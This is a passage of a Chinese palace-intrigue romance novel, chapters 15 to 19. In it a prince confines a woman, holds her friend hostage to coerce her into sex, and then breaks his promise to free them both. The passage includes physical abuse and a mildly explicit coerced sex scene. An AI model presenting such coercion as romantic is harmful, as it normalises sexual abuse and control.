见她煞白的脸上出现了受伤的神情,他还是继续说道:“管好你该管的便是,旁的一概不许多问,这才是丫鬟应有的本分。” 看着她住了口,面上又恢复了红润,可眼泪却好似止不住一样淌下来,看得他心中烦躁。 “罢了,你这几日也累了,先回去歇息罢,往后就叫 柳儿和安儿来。”他摆摆手,催促道:“去吧。” 夜半时分,他又从噩梦中惊醒,烦躁不堪,把棉被踢到一旁去,坐起来抓住了自己的头发。 方才郑玄策来报,说江城又有公孙辞的部下作乱,新任官员不堪其扰,已经向朝廷奏报了。 再加上宫中秘闻,涉及圣祖皇帝后宫秘事,似乎与曾太妃有关。 怎样看,明日皇帝召见都不会是什么好事。 更何况,他方才又做了噩梦,旧景重现之法已然失效了。 孟清芷用刀没有成功,可她当时眼神中的刀却恨不得要将他凌迟杀死。 这个女人还真是叫人头痛。 他已经没脸再把李郎中叫来了,说白了,这种事传出去只会污了他的名声。 脸上的红痕用热鸡蛋敷了许久,勉强消了,他整顿衣衫,坐上马车前,心中仍是阴郁不平。 才下了一场大雪,宫内平整肃穆,一场雪掩盖了尘埃污垢,叫人觉得神清气爽。 皇帝才下早朝,沈白叙奉旨在勤政殿等,许久之后,皇帝身边的小于子匆忙赶来,带着歉意请沈白叙稍等片刻。 沈白叙没有多问,这一等便是一个多时辰。 不知道是皇帝给他的下马威,还是根本就忘了与他的约定,他沉得住气,挺直的背影纹丝不动,反而是小于子忍不住先解释道:“王爷莫怪,今儿一早,柔妃娘娘身体不适,皇帝去瞧瞧。” 沈白叙摇头,示意小于子莫要再说下去。 “臣等皇帝,本身就是分内之事。皇帝行程本也不该向任何人透露。”他说完,站姿仍是挺拔如松。 小于子惭愧,暗道一声“王爷说的是。”随即也沉默下来。 直到宫中放午膳的时辰,皇帝都未曾回来,小于子预备叫人备一份午膳,送到勤政殿旁的偏殿,想叫沈白叙用膳。 “这于理不合,皇帝并未下旨。”沈白叙断然拒绝了。 又耐心等了一个时辰,皇帝才姗姗来迟。 “皇叔见谅。”年轻的皇帝脸上挂着难为情的笑容:“朕来晚了。” 有那么一瞬间,沈白叙下意识地觉得,皇帝还是登基之前的那个毛头小子,自称侄儿,在他面前一口一个皇叔的叫着,虽然他们二人年岁相仿,但他到底大一辈。 先帝驾崩后,还是太子的沈知业继位,尚不足一年。 “皇上日理万机,诸事繁杂,忘了臣也是有的。”沈白叙自嘲般的笑了笑。 沈知业又意图对着小于子发火,斥责他没有照顾好北辰王,因又骂着他拿了食盒来。 “皇叔请用。” 沈白叙看着桌上摆好了的三菜一汤和米饭,也不客气,端起碗来吃了一口。 “皇叔,江城公孙党叛乱一事,你如何看?” 沈白叙立刻将碗放在桌上,疾步到旁边叩首:“此事乃微臣的疏忽,几次三番剿匪不力,叫那公孙贼又死灰复燃。” “皇叔快快请起。”少年皇帝的面上闪过一丝慌乱:“若非皇叔亲自督战,大破贼军,恐怕公孙贼早已占据不知几座城池,又何来怪罪一说?” 16. 第 16 章 正午时分的阳光自殿外透进来,外面隐约传来滴滴答答的细微水流声,像是雪化了。 “依微臣之见,那公孙贼部众并不多,只不过此人极擅蛊惑人心,因此他的军队才会杀掉一波便又来一波,源源不绝。” “因此,当务之急并非派军队镇压,而是派出一波探听消息的小分队,深入敌穴,查到公孙贼具体藏身之处,一举杀之,方能一了百了。” “皇叔高见。”沈知业态度诚恳,双手撑着桌子意图站起身来:“皇叔休要跪着讲话,快站起来,这般真是折煞侄儿。” 话锋一转,又问道:“皇叔认为,小分队要由何人带队比较合适?” 沈白叙略一思索间,又听到沈知业叹息道:“江城本是三叔的地盘,朕登基后,他似乎颇有心事,迟迟不来京城,此番难道要求助于他不成?” 他口中的三叔,便是沈白叙最大的竞争者,南廉王沈白舒。 南廉王是圣祖皇帝第三个儿子,如今年近四十,当年争皇位时便力压群雄,几乎要压过先帝去,谁知圣祖皇帝有一日约见他,不知道谈了什么,自此之后,他默然退出权力中心,领了王爷封号,到南方颐养天年去了。 过了一年,沈白叙也屡遭圣祖皇帝斥责,没过多久,圣祖皇帝让位于先帝,那一年沈白叙才十五岁。 思绪回归,沈白叙看着眼前真诚问询的皇帝,不由得笑道:“天下能臣皆在皇帝手中,此事还需皇帝定夺才是。” “不过,此番微臣自知难当大任。”他苦笑着补充了一句。 他身后从无势力,也没什么像样的追随者,此番冒险去江城,拿到了江城军兵符,这便是唯一的依仗了。 “皇叔觉得,北镇抚司千户聂昕问如何?” 沈白叙知道这位皇帝尚年轻,城府不深,许多事情只会直言相告,他既然问得出,那一定是已经相中了此人,便点头道:“皇帝圣明,此人聪明机敏,武功高强,必是最佳人选。” 可说到这里,沈知业又开始犹豫起来:“朕尚在考虑,毕竟,聂昕问正在查一件宫中要案,一时间怕是分不开身。” 沈白叙对这种事向来不多问,但沈知业仿佛有意叫他知道:“当年,仁德皇后忽然薨逝,圣祖皇帝悲痛欲绝,一直命人查探真相,可惜一无所获,近些时日,聂昕问终于查到了些许苗头。” “似乎是当年后宫争端,有宠妃觊觎皇后宝座,意欲下毒谋害仁德皇后,如今,那太妃尚在宫中颐养天年。” 沈白叙骤然抬起头来,他的目光落在沈知业面前的御案上,那奏折堆得很高,虽纷杂无序,但他还是辨认出些许危险的苗头来。 尚在宫中颐养天年,当年与仁德皇后同在宫中的宠妃,如今也不过两人。 其中一人已然身患重病,奄奄一息,根本无足轻重。而另一人,便是沈白叙的母妃——曾太妃。 沈白叙抬起目光,撞上皇帝探究的神色,镇定自若地问道:“皇帝是说,曾太妃……?” 他的话被沈知业打断:“皇叔莫要急,此事尚无定论。” 尚无定论?那皇帝根本不会在此时提起。 他静待皇帝继续开口,果然,片刻后听见皇帝缓缓道:“皇叔,如今三叔在南方一带颇受百姓爱戴,又兵权在手,如今江城叛乱未除,后宫又接二连三发生争端,朕这心中着实不安哪。” 虽出了太阳,可今日却比昨天还觉得冷些,皇城脚下无端起了一阵风,卷起无数愁怨,直吹到万家百姓心头去。 孟清芷被寒风吹得打了个寒颤,她抬眼看去,见梅儿开了半扇门,正在门口站着,似乎踌躇半天,也没下定决心进来。 又等了片刻,她忍不住问:“有事么?” 梅儿身形动了动,却仍未进来。 “没事就别站在门口,你不冷我还冷呢。” 门关上了,梅儿也进来了,沉默好一会儿,方才问道:“你是如何想的?” “什么?”孟清芷不解。 “王爷既对你有意,你为何不顺着他,反而一而再再而三地惹他生气?” 孟清芷冷笑一声,没有回答。 梅儿对沈白叙一往情深,自然无法理解她的意图。 在梅儿看来,这样好的机会,无论如何都是要抓住的。 “我听说你只是廖家的干亲,并非与王爷是真的亲叔侄,既然这样,为何不?” 见她铁了心的要问下去,孟清芷抬起眼皮来睨了她一眼。 “没有为什么。”她嘲讽地笑了笑:“不是谁都会把他当宝贝,我不顺从只是因为不愿意罢了,没有别的原因。” 梅儿仍是不解:“王爷一表人才,又未曾娶亲,这许多年来好像还是头一回对女子感兴趣,你为何不愿意?” 孟清芷实在懒得再解释下去,她索性闭上嘴,仰头闭目养神。 “还是你存着坏心,欲拒还迎,逼着王爷答应不合时宜的条件?”梅儿仍是不死心,继续问着。 “不然,你为什么占着王爷不说,还不肯走?” 此时梅儿的声音中已经含了哭腔,她实在是想不通,这个外来的表小姐有何过人之处,能引得王爷如此。 “我不肯走?”孟清芷猛地睁开眼睛,冷笑道:“麻烦你睁开眼睛好好瞧瞧,我倒是想走,你们家王爷肯放吗?” “若你有这个本事,我倒是想求求你,让他放我走吧。”孟清芷重重地靠在靠背上:“我无意与你争来夺去的,他在我这里也不是什么香饽饽,你若是能俘获他的心,就快些吧。” 这些话听着刺心,在梅儿这里看来,更像是孟清芷在嘲讽和挑衅。 她在这王府待了三年有余,都未曾有过半点机会,孟清芷才入府几日,便引得王爷这样。 她是个彻头彻尾的失败者。 “你想错了。”梅儿顾及她表小姐的身份,压下委屈解释道:“我没有与你争抢的意思,我只是想着,若是表小姐日后嫁进来……” 话未说完,便听到孟清芷不耐烦的声音:“出去。” 梅儿的话卡在喉咙口,一时间怔住了。 也是,孟清芷的确有资格对她这样说话。 日后如果孟清芷嫁进来做了主母,想必自己在王府的时日也就到头了。 梅儿想到这里,不禁有些怨恨沈白叙拿她当棋子,叫她折辱孟清芷。 如今看起来,得不偿失。 “梅儿。”外头柳儿的声音传来:“王爷回来了,回去伺候罢。” 沈白 叙面上还算镇静,他颓然坐在正房内堂屋内,一言不发。 方才一回来,郑玄策便等在大门外,开口第一句便是:“王爷,兵符?” 沈白叙面色阴沉:“兵符已经还了皇帝。” 郑玄策也是面色凝重,到底还是劝道:“王爷不必灰心,此事早有预料。皇帝必然不放心把兵符长时间交予王爷,且前几日卦象凶险,乃金木交战之相,王爷此番收手,日后还有再出山的日子。” “王爷今日入宫,可有顺路去瞧瞧太妃娘娘?”郑玄策看着他的脸色,小心翼翼地问。 沈白叙无心再听他多言,并未回答,直接回到房间内,只想休息片刻。 交还兵符,代表他江城督战一事彻底成了无用功。 甚至还留下了一个贪图美色、险些延误军情的笑柄。 自始至终,他从未被旁人看得起过。无论是他的父亲,还是他的兄长。 事到如今,瞧不起他的变成了他的侄儿。 甚至她母后,仿佛也不是最中意他。 他小时候还有一位亲兄长,只不过很早便夭折了。 他的母后似乎是更中意他的兄长继承大统的。 他没有再想下去,草草洗漱后便颓然睡了过去。 当再次从噩梦中醒来,眼前是惊慌失措的梅儿,她一边喊着王爷,一边拍打他的手臂,试图唤醒他。 片刻后,脚步踉跄的梅儿出现在厢房,她张口结舌、气喘吁吁,叫孟清芷即刻过去。 梅儿服侍沈白叙这样久,还从未见过他露出那样狰狞的神色。 况且,深夜把孟清芷叫了去,不合规矩的同时,却也有一丝诡异的合理性。 许是孟清芷能治噩梦,也未可知。 孟清芷来得匆忙,沈白叙抬起双眼看过去,她只穿着侍卫的衣服,外头罩了一件披风,她脖子上仍留有白日里他掐过的青紫痕迹,就连那颗胭脂痣都遮住了。 神色淡然,不卑不亢,虽眉目低垂,但脊背挺直,自带打不垮压不住的从容气度。 “近前来。”沈白叙坐在桌边,声音沙哑。 桌上摆着热气腾腾的饭菜并一壶清酒,孟清芷一眼瞥过去,见并没有自己的位置,便在桌边站了,一言不发。 沈白叙面前似乎蒙了一层白雾,许多事情看得不分明。但他心里却从未这样明白过。 眼前这个女人厌恶他到了骨子里,若是他再执意要她,她只会拼尽全力抵抗到底。 难道她也瞧不起他? 世人当真都势利到如斯地步吗?只因他没有登基的可能性,便这样看轻他? 还是说她早已心有所属,芳心一片,只是不肯向他? 想到这里,他眼皮一跳,心中隐隐漫起一阵酸意,又饮了一盅酒。 辛辣的热意直灌进喉咙,他好似又清醒了几分。 “表侄女。”不等她站稳,他便直截了当地问道:“究竟如何,你才肯?” 他还是第一次这样客气,用商量的语气谈话,料想她应当也会客气几分,最起码配合他一次,了结了这场永不结束的噩梦。 下一瞬,她冷硬的话语像冬日房檐下的冰凌一样砸了过来:“表叔若实在饥渴,不妨自己去玉春楼解决。” 17. 第 17 章 春节在即,四处张灯结彩,喜气洋洋。人们脸上充盈着笑意,迎面见人便拱手问好。 长闻和栾鹰带着一群小厮将外院的大门角门贴好了对联,挂上灯笼。内院有梅儿指挥婆子们装饰,恰好院内的梅花树也开了花,人们一边赏梅一边布置,欢声笑语络绎不绝。 “这喜字剪纸挂到红梅枝上,反而看不出了。”梅儿冲着李嬷嬷笑道。 “姑娘不知道,这叫‘喜上加喜’,是好兆头呢。”李嬷嬷笑着回应。 又有人趁机接话道:“赶明儿王爷娶了王妃,梅儿姑娘也正儿八经抬进门来,这可不是喜上加喜么!” 梅儿笑着骂那人贫嘴,那人又嬉皮笑脸地回应着,喜庆欢快的气氛弥漫开来。 待众人散开,梅儿冲着厢房看了一眼。 春节的欢喜气氛,似乎没有半分传到那里去。厢房外守着两三个五大三粗的婆子,都穿红着绿的,估计是想着沾染一些喜庆,可她们面上的愁容却盖不住。 梅儿上前去,几个婆子纷纷问好,梅儿因问:“只有你们几个当值?” “是呢,王爷吩咐的。”其中一个婆子大喇喇地说道:“里头那位也不知如何了,今儿到现在也只送了一餐饭。” “晦气,应下这样的差事。”另一个婆子禁不住抱怨道:“好好儿的除夕都不能回家去,倒在这里受苦。” 剩下的婆子也道:“究竟是什么大不了的事,需要把人这样看着?那姑娘看着细皮嫩肉的,倒也不需要这样多的人,梅儿姑娘,要不你同王爷说说,只留一个人守着,剩下的回去吧。” 这样的事,她如何做得了主。梅儿浅笑着道:“辛苦各位了,稍等我叫她们做了饺子送来。” 几个婆子忙不迭地道谢,梅儿又回身看了一眼厢房内,加快脚步离开了。 这还是第一次,她有些同情孟清芷。 夜里便是除夕,郑玄策同长闻劝了沈白叙几次:“太妃娘娘递了口信出来,叫您去宫里过除夕,大家一同喜庆热闹一番,王爷何苦把自己闷在书房呢?” 无论如何劝,沈白叙只有冰冷的一句:“不去。” “或者,能陪皇帝待上片刻,落个好印象也成。”长闻补充道。 “柔妃才有了身孕,皇帝正欢喜得紧,哪里有空闲应付本王。”沈白叙皱了皱眉:“你们下去罢。” 长闻脚快,先一步离开了,郑玄策长叹一声,刚要转身时,又听沈白叙低声问道:“那女子何时进京?” 郑玄策怔了一怔,低声回话:“那女子昨日便已经到京城了,属下猜着今日便是除夕,料想应当也没有那样急,便先在外头寻了个住处叫她住了。” 沈白叙从书堆里抬起头来,瞥了他一眼。 “即刻送进来吧,就先安排在西院旁边的偏阁里。” 郑玄策又是一怔,忙答应了。 才要离去,又听见沈白叙平直的声音:“下次,不要再私自揣测了。” 话语中并没有多少责备的意思,但郑玄策还是听得浑身一惊,忙低头称是。 晌午一过,沈白叙独自一人到东厢房去,将门口值守的婆子们遣散,推开房门,行至里间,才见到孟清芷右手托腮,靠在窗边,出神地听着外头时不时传来的鞭炮声。 午膳完好地摆在桌上,没有动过。 她明显瘦了许多,两颊有些凹陷下去,整个人看上去有些可怜。 可她的神情还是不卑不亢的,仿佛灵魂有无穷大的力气,能支撑她这副皮囊一直到地老天荒。 听到门响,她甚至没有抬眼看一眼。 “孟清芷。”沈白叙不得不出声打破这番平静:“我替你找到了一位故人。” 她循声回过头来,面色平静。 “你可要去看看?”他问。 见他平静中带着一丝势在必得,孟清芷忍不住攥紧了拳,可她势必不叫他看出一丝一毫的慌乱来,又问:“是谁?” “你去看看便知道了。”他说。 孟清芷抬眼看了他片刻,似乎不欲与他发生冲突,又极快地站起身来,披上披风,向外走去。 索幸今日并不冷,两人沿着甬道一径走到西院的偏阁外,孟清芷又出声问道:“王爷可否告知,里面是何人?” 沈白叙笑道:“我也不知这里面是何人,还需要表侄女亲自去瞧瞧了。” 孟清芷推开门,偏阁许久没有人住,迎面扑来一阵尘土气息,呛得她咳了两声。 向里一转是内室,孟清芷隐约看到一个黑影蜷缩在窗边角落,她缓步走上前去,待那黑影抬起头来,她瞬间怔住了。 沈白叙站在不远处瞧着,他终于从她脸上看到了满意的神情。 无法掩饰的惊惶万分。 孟清芷一个箭步冲到那人身边去,轻声唤道:“霄霄,霄霄?” 那人虽蓬头垢面,衣衫破旧,但听到这句话,也是不可置信地抬起头来。 依稀辨认得出,这是一名女子。 “是你吗?”孟清芷激动到难以言表,捏着她的手臂晃了几次。 她的脸与林霄霄毫无区别,但始终没有任何回应。 “据旁人说,她是哑女。”沈白叙在后头不紧不慢地补充了一句。 孟清芷敏锐地捕捉到这个信息,急速回过头来:“王爷是如何得知她的?” 寻找林霄霄一事,她只对萧声提过,甚至还在他的指点下画了林霄霄的画像,希望他能替她寻到。 岂料,现在竟然是沈白叙先一步找到了她。 难道说,他已经抓到了萧声? “你与那同行之人的住处,还存有包裹,林霄霄的画像便是在里面寻到的。”沈白叙说。 此时,孟清芷隐约察觉到林霄霄一双手紧紧握住她的,用力捏了捏。 这是她做惯了的动作,孟清芷怔了怔,很快便回过神来。 这是承认了,她就是林霄霄。 只是不知她经历了什么,也不知道她为何哑了,这些还需要寻个合适的时机慢慢说清楚。 “王爷,你寻到她,是想要什么?”孟清芷还没顾上开心,便陷入了巨大的危机之中,心情沉入了谷底。 沈白叙似乎早已料到她会这样问,嘴角翘起来,伸出一只手,做了个邀请的姿势:“借一步说话?” 今日是不冷,可孟清芷却觉得周身发寒,恍惚间走到沈白叙住处的时候,更是连牙齿都打起颤来。 “表侄女怎么抖的这么凶?”沈白叙温声安慰道:“可是冷了?” 他主动掀开帘子请她进去,门内飘来一阵幽香,令人闻之欲醉。 只是这时节哪来的桂花?分明是他刻意预备好的熏香。 孟清芷木着半边身子随他进了正厅,他伸手去拉她颈边的披风带子,被她灵巧躲开了。 “表侄女 。”沈白叙出人意料地笑了笑,脾气好到不甚正常:“从前再如何不懂事,如今也该懂事了。” “你要找的人,表叔替你寻到了,你不该表示表示?” 孟清芷吸了吸鼻子,声音晦涩:“表叔想要什么?” 沈白叙没有再回答,他上前一步,比刚才气势更强地拽住了她的披风带子,孟清芷闻到他手上淡淡的书香气息。低头看去,他养尊处优的手背是冷白色的,像铺满白雪的院子,上头绷起的青筋是雪化之后的青石板路。 他没有给她多少条路,那青筋蜿蜒曲折,最后总是血管罢了,源头都在他心间。 她略一犹豫间,沈白叙已经解开了披风带子。他似乎十分满意,轻声说道:“屋里热。” 将披风放到椅背上,他坐了下来,翘起二郎腿,悠闲地饮了一盏茶。 “这位林姑娘,本王可以安排在府上暂住。”他徐徐吹着茶叶沫子,补充道:“否则,没有路引,她贸然出现在京城街头,是要进牢狱的。” 孟清芷木然点头称谢。 “她的安危,便全在你了。”沈白叙没有过多犹豫,喝完了茶,便站起身来,径直走到她身前,抬手去解她衣领上的扣子。 孟清芷别过头去,躲开了他的手。 沈白叙手臂僵在原地,片刻后,他笑起来:“自己脱,也并非不可以。” “为何偏偏是我?”她没有哭闹,只是眼里多了一丝疲惫,眼神冷冷地望过来,她问。 这倒险些问住了沈白叙。 是啊,为何偏偏是她呢? 若是别的女子,在军营被俘,大概率做不到这般好运气,能毫发无损地等到今日。 极有可能是哭闹不止,然后被送去做军妓。 孟清芷从一开始就与旁人不同,他从心里便认定了这一点。 然后,从她捅出那一刀开始,他们两人的纠缠便已经注定无法解开了。他是睚眦必报的人,即便没有这连绵不绝的噩梦,他也是要报复回来的。 他抬眸望去,轻声说道:“因为是你。” 听着这个不是答案的答案,孟清芷仰着脸,冷笑了一声。 “我劝你还是抓紧这个机会。”沈白叙提醒道:“若是一时的兴趣过了,林姑娘便错过了活命的机会。” “等下。”孟清芷仍保持着镇定:“我也有条件。” “说。”沈白叙扬眉,她似乎永远比他想的多几分惊喜。 “第一,我要避子汤药。”不知道是不是错觉,沈白叙仿佛从她的语气中听出了一丝哽咽。 “这不难。”他本来也没想让她留下孩子。 “第二,仅此一次。之后放我和林姑娘走。”孟清芷看着他的眼睛说。 “可以。”沈白叙毫不犹豫。 他只是迫切地想要终止那个噩梦而已,他在心里默默地说道,待这事了了,即刻放她离开。 他也不愿见到这张冷冰冰的面孔。 孟清芷没再多言,她低头解着胸前的扣子,可手心出了汗,滑溜溜的,那扣子从这头滚到那头,只是解不开。 她暗骂了一声,就连扣子都在捉弄她。 沈白叙终于有些性急起来,他一把扯开扣子,连带着系带都被扯断,一大片白花花的肌肤露出来,极美。 像院中落满白雪的红梅花。 “表侄女。”他难耐地张开手臂:“替我解开。” 18. 第 18 章 她几乎没怎么处理过男子的衣裳,更是不得章法,才理了几下,便被他揽过肩,两人跌跌撞撞地进到内室去。 两人都是头一回,可都娴熟无比,孟清芷下意识躲避的动作更像是经过了长期训练,她将头扭过去,又被他扳过来。 她对他怒目而视,他却理直气壮:“我要看那颗痣。” 待仔细看了,才发现那颗痣其实并不大。许是因为她皮肤太白了,所以看上去才显眼了一些。 沈白叙迫不及待地要烙上他的印记,一路迂回向下,到肩上的伤口时又顿住了。 伤处没有流血,只余下一个暗紫色的瘀痕。他按上去,轻声问道:“还疼不疼?” 她原本平静的肩胛骨震了震,方才回答:“不疼。” 随后又是极不耐烦的一声:“王爷要做就做,别再问了。” 这一声激得他眉眼一跳,心热难解。但他很快抑制住心神,动作更加放缓了些。 怎能事事都如她的意。 盯着她的眼睛,他对着诱人的尖峰吻上去,她浑身一颤,摇头喝止:“别咬!” 他偏要咬。 山雨欲来风满楼,这风吹得遍体生凉,她禁不住浑身颤抖,晃动的帷幔断断续续地出现在眼前,她像是做着一场无比香艳的梦,醒不过来。 他还是怕她,左手压着她的双腕,不叫她有丝毫挣脱的机会。 她忽然嘲讽地笑了。 他正在情浓时,一边低喘着,一边循声看过来:“笑什么?” 她不再吭声。 他这才察觉到她眼中的情绪,并非了无生趣,也没有悲痛欲绝,而是对世俗厌倦到极致的一种脱力感。 一曲终了,她几乎是迫不及待地站起身来,即便头晕目眩,也挣扎着要去拿自己的衣裳。 沈白叙皱眉,从身后揽住她,扬声问道:“急什么?” 孟清芷没有理他,穿好了里衣, 觉得头晕气短,她略休息了片刻,又开始穿外衣。 他答应过的,只此一次,她几乎已经看到了出府的曙光,自然一刻也等不及了。 这样急切的愿望,落在沈白叙眼中,却颇有些不是滋味。 “你到哪里去?”他终于沉下脸来,声音里带了可怖的威慑力。 “出府啊。”孟清芷讶然瞥了他一眼:“王爷不会要出尔反尔吧。” 她声音绵软,还带着些许暗藏委屈后的哭腔。听上去缠绵不绝,更添滋味。 只迈出几步,便被沈白叙按住了肩膀。 “你说的一次,指的就是这样?” 她眼睛都不眨一下——不然呢? “孟清芷,你倒是会做买卖。”沈白叙嗤的一声:“江湖上说的陪人一次,指的都是一整晚的。” “这不怪我。”她声音清冽:“王爷没有事前讲清楚。” 又问:“避子汤药呢?” 抓紧拿来,她好出府,尽早上路。 “一整晚,然后再给你避子汤药。”沈白叙下定了决心吃她这一回,轻声说道。 “沈白叙。”她脱口而出,面上憎恶的情绪根本掩饰不住:“你真卑鄙。” 天色微亮,欢纵一夜的沈白叙难得脚步轻快,他看着梅儿端过来的避子汤药,摆摆手,示意她端给孟清芷,自己便先出去了。 按照惯例,他须得先到宫里请安,再去母妃处瞧瞧。还有几家需要拉拢关系的官员需要走动。 孟清芷喝完避子汤药后,见梅儿怔怔地对着她瞧,便问道:“偏阁那女子放出来没有?” 梅儿不解:“什么女子?” 孟清芷看她的神情不似有假,也许只有沈白叙知道这件事,罢了,不为难她一个做丫鬟的。 梅儿却没走,看着她,轻声问:“你头上?” 孟清芷反应过来,轻触额头,刺痛感传来,她口中发出“嘶”的一声。 这是昨儿夜里躲他的时候,不慎撞到柜子上磕出来的包。 她自然不会同梅儿解释这些,只试图用沉默掩盖尴尬。 可等了许久,梅儿却还是没有要走的打算,还继续问着:“王爷他……待你不好?” “你如今跟了他,为何他连个侍妾的名分都不给你?” 孟清芷始终沉默,但她见梅儿得不到解释便誓不罢休的样子,只冷声说道:“我不稀罕。” 见梅儿脸上露出了疑惑的神情,她知道梅儿听不懂,也懒怠解释,才要不耐烦地转过身去,又听见梅儿轻声说道:“也难怪。” 随即又是一声轻叹:“他待你不好。” 良久,门关了,独留孟清芷一人在屋中,倒愣了一会儿。 忍着身上的不适,她睡了又醒,反反复复不知多少次,至晚间,终于把喝的微醺的沈白叙盼了回来。 “这就要走?”一双手顺着被子摸上她的额头:“伤还没好,便这么急?” 孟清芷甩开他的手,冷着脸坐了起来:“王爷答应好的,不会又要出尔反尔吧?” “自然不会。”沈白叙叫了人来吩咐道:“叫郑玄策把那女子带出来。” 看了看她惨白的面色,又觉得有些于心不忍:“不如,待养好了伤再去?” 孟清芷压根没有理他,只等着郑玄策带了林霄霄过来,就打算一走了之。 经过一夜温存,沈白叙倒多了几分温柔缱绻的心思,可看到孟清芷冷到极致的态度,又觉得仿佛兜头一盆冰水泼下来,哪里都冷。 他明明已经得了她的身子,可却成了彻头彻尾的失败者,他很不喜欢这种感觉。 他从未真正得到她,就连短暂的驯服也不曾有过。 外头梅儿的声音传来:“王爷,郑大人求见。” 孟清芷眼中猛的多了几分光亮,她几乎是迫不及待地站起身来,推门出去了。 片刻犹豫都未曾有过。 沈白叙整个人浸泡在不甘的情绪中,即便今日暖阳高照,也无法驱散他充满阴郁的心。 为什么世人都是如此呢?对他多是厌恶、不满,就连想要利用他的人,也只在利用时给点甜头,过后甚至连维持颜面都不肯。 晨光灿烂,斑驳的光顺着窗缝漏进来,仿佛所有光都在外头,与内里的他没有半分关系。此时,外头传来她有些雀跃的声音:“ 多谢郑大人。” 一手挽住林霄霄,一手不着痕迹地在自己酸痛的腰间揉了揉,她头也不回地向外走去。 正门“吱呀”一声开了,沈白叙笑意如水,站在门后,紧攥的拳因为太过用力而有些颤抖。 “本王改主意了。”他笑意淡去,寒意入骨。 孟清芷并未听见,她才走出去东院,便脚步一顿,回头一瞧,只见几个婆子上来,大力拉扯着,自她臂弯中夺走了林霄霄。 “你们做什么?”她喊了一声,又被一个婆子冲出来拖住两条手臂。 她本身是有些功夫的,可惜久未练习,再加上一夜缱绻耗费了心神,因此轻易便被制住了。 举止狼狈地回到东院,远远见到沈白叙站在院中,日光沐浴下的他白到发光,可她却在心中堕入无尽深寒。 极大的绝望中,她禁不住开始寻找一些安慰自己的话——一定是他还有未尽之事,想要好好道个别罢了。 可沈白叙并没有给她过多遐想的机会,他灿然一笑,露出森森白齿,眼底还残留着春风一度的贪欲:“表侄女,我后悔了。” 如愿地看到她面上血色褪尽,桀骜难驯的神情逐渐被绝望不甘笼罩,他欣欣然下着命令:“将林霄霄关到外头去,无本王命令,不得随意入府。” 郑玄策神情一滞,但当着人也不好多问,只得低头道:“是。” 孟清芷眼睁睁地看着林霄霄被几个婆子押走,她身上的婆子也是用尽了蛮力,将她膝盖牢牢压在冰冷的石砖上,再怎么挣扎都无济于事。 “沈白叙。”她用尽了全身的力气压住喷薄的仇恨,不叫自己破口大骂出来:“你到底想怎样?” 是啊,她刺他的那一刀,他咬了她一口泄愤;她不愿交付的一切,也都予了他。如今他还不满足,却是为何? “不怎样。”沈白叙神色平静:“在江城时,因你之过,江城军损伤数百,岂能这样轻易放过?” 更何况,他是王爷,她只是一介平民,身上还有些洗不清的嫌疑,他自然有权利处置她。 “至于如何惩处,本王还未想好。”他有些为难地摇了摇头:“在本王满意之前,自然不能放你走。” 此时,忽然平地起了一阵风,干枯而凛冽,孟清芷怔怔地坐着,只觉那风像是兜头给她来了一个耳光,打得她头歪向一侧,可头脑却忽然清醒了。 对待沈白叙这种无赖,她本就不能采取文法。 想想自己此前还同他好言好语地谈条件,她就恨不得给自己一巴掌。 “好。”她气势软下来,语气也刻意柔软了几分:“王爷所说的这一切都与林霄霄无关,且放了她去罢。” 沈白叙冷笑一声,不置可否,转身离去了。 “沈白叙!”她看着他的背影,忽然大喊了一声:“你放了她,我随你处置,这样还不行吗?” 沈白叙头都没回。 自然是不可以的,若是没了林霄霄,他没有把握能拿捏住孟清芷。 风更烈了,夹着些许霜雪,砸得人都有些猝不及防。本来艳阳高照的天气也瞬间蒙上了一层灰雾,似乎又要下雪了。 19. 第 19 章 孟清芷才沐浴过,一动不动地看着镜中的自己,可眼中却虚无一片,心早就不知飞到了何处。 头皮传来轻轻的拉扯感,梅儿正小心翼翼地替她梳头,用的是秋日里余下的桂花清油。 沈白叙说了,这个味道好闻。 梳完头,梅儿从桌上放着的枝杈上扯了几朵红梅下来,想尽办法要簪在孟清芷鬓间。 梅花小,轻易簪不得,梅儿一边找着角度,一边轻声说道:“事到如今,表小姐不妨求王爷给个恩典,侍妾也好通房也罢,总得有个名分。” 她不去看孟清芷镜中冷冷的目光,自顾自地继续说道:“奴婢知道表小姐不愿意,可王爷毕竟是王爷。” 孟清芷皱眉,听到她仍在絮絮说着:“表小姐若打的是王爷腻了之后外嫁的主意,也不尽可靠,女子名节重要,出去了也嫁不得什么好人家儿。” 见孟清芷仍不说话,梅儿终于止了话头,犹豫片刻,索性将一整枝梅花斜插在她发间,向镜中看去,人面梅花相映红,皎玉软月齐簇拥,煞是好看。 “表小姐真好看。”梅儿情不自禁地说着,随即又小声问道:“那位林姑娘,是表小姐的什么人?亲姐妹吗?” 提到林霄霄,孟清芷终于开了口:“不是,只是朋友。” 声音暗哑,不甚好听,梅儿怔住了,随即又叹道:“只是朋友,便能?” 便能为她做到如斯地步? 千言万语只余下一句:“表小姐对朋友真好。” 孟清芷没有再说话,直到梅儿端了洗漱用的水出去,她才猛地吸了一口气,仿佛短暂地活了过来。 镜中的她明艳鲜活,上头是嫩黄色短褂,下穿着豆绿色百褶裙,头上艳红色的梅花随着白玉珠钏微微颤动着。梅儿未曾服侍过女主人,因此也不知如何装扮,恨不得将鲜亮的颜色都堆到她身上去。 她也不挑,随梅儿去装饰。 眼下她就像一只羽毛艳丽的鸟,挤在笼中郁郁寡欢,盼着它的“主人”哪日大发善心,将它放飞。 梅儿又进来,将昨儿才洗的葱绿锦缎长袄收进柜中,口中笑道:“这是姑娘入府时带进来的衣裳,往后怕是也不穿了,奴婢先收起来。” 孟清芷看去,认出这是她此前同萧声在郾城买的衣裳,忍不住又想起萧声来。 自然是有怨言的,不知他为何忽然离去,匆忙到这般地步,就连郾城他们的房子都未曾回去过,行李也是完好地放在那里,以至于被沈白叙轻易查到。 难道是有了什么危险么?那日追杀他的黑衣人似乎不是善茬,她想到这里,心中又是一阵紧缩,她绷直了身体,强烈的不安感蔓延到四肢百骸。 “在想什么?”突如其来的声音打破了寂静,她抬眼望去,惊觉天已经黑了。只见沈白叙一袭红色绸缎长衫,施施然从外面进来,面色略有些红润,想来是喝了两杯的缘故。 借着酒意,他伸出两根指头,向她腮上捏了一把,只觉指尖脂润粉滑,说不出的细腻。 “这梅花,是谁替你簪的?”他坐下来,与她肩并着肩。 她不动声色地向旁边躲了躲,低声说道:“是梅儿。” 梅花嶙峋傲骨,又香气扑鼻,最适合不过。他忍着醉意笑了笑:“好看。” 忽得想起什么事来,他从胸前取出一封信,低声说道:“前些时日,我写信予表姑母,说意欲纳你为妾,表姑母问你的意思。” 